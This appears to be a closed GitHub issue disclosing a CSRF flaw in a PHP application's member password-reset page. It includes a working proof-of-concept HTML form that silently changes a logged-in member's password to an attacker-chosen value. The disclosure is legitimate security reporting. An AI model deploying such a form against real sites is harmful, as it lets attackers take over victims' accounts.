Skip to content

There is one CSRF vulnerability that can Change the common member's password #132

Closed
@jiguangsdf

Description

@jiguangsdf

The vulnerability occurs in
http://localhost/www/index.php?m=member&v=pw_reset
This is the interface of a common member to reset the password
default
The interface does not have CSRF protection, which causes ordinary members to change the login password without knowing their members when they open the Poc page.

poc:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/www/index.php?m=member&v=pw_reset" method="POST">
      <input type="hidden" name="password" value="yuduo" />
      <input type="hidden" name="password2" value="yuduo" />
      <input type="hidden" name="submit" value="ç&#161;&#174;&#32;å&#174;&#154;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

default

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions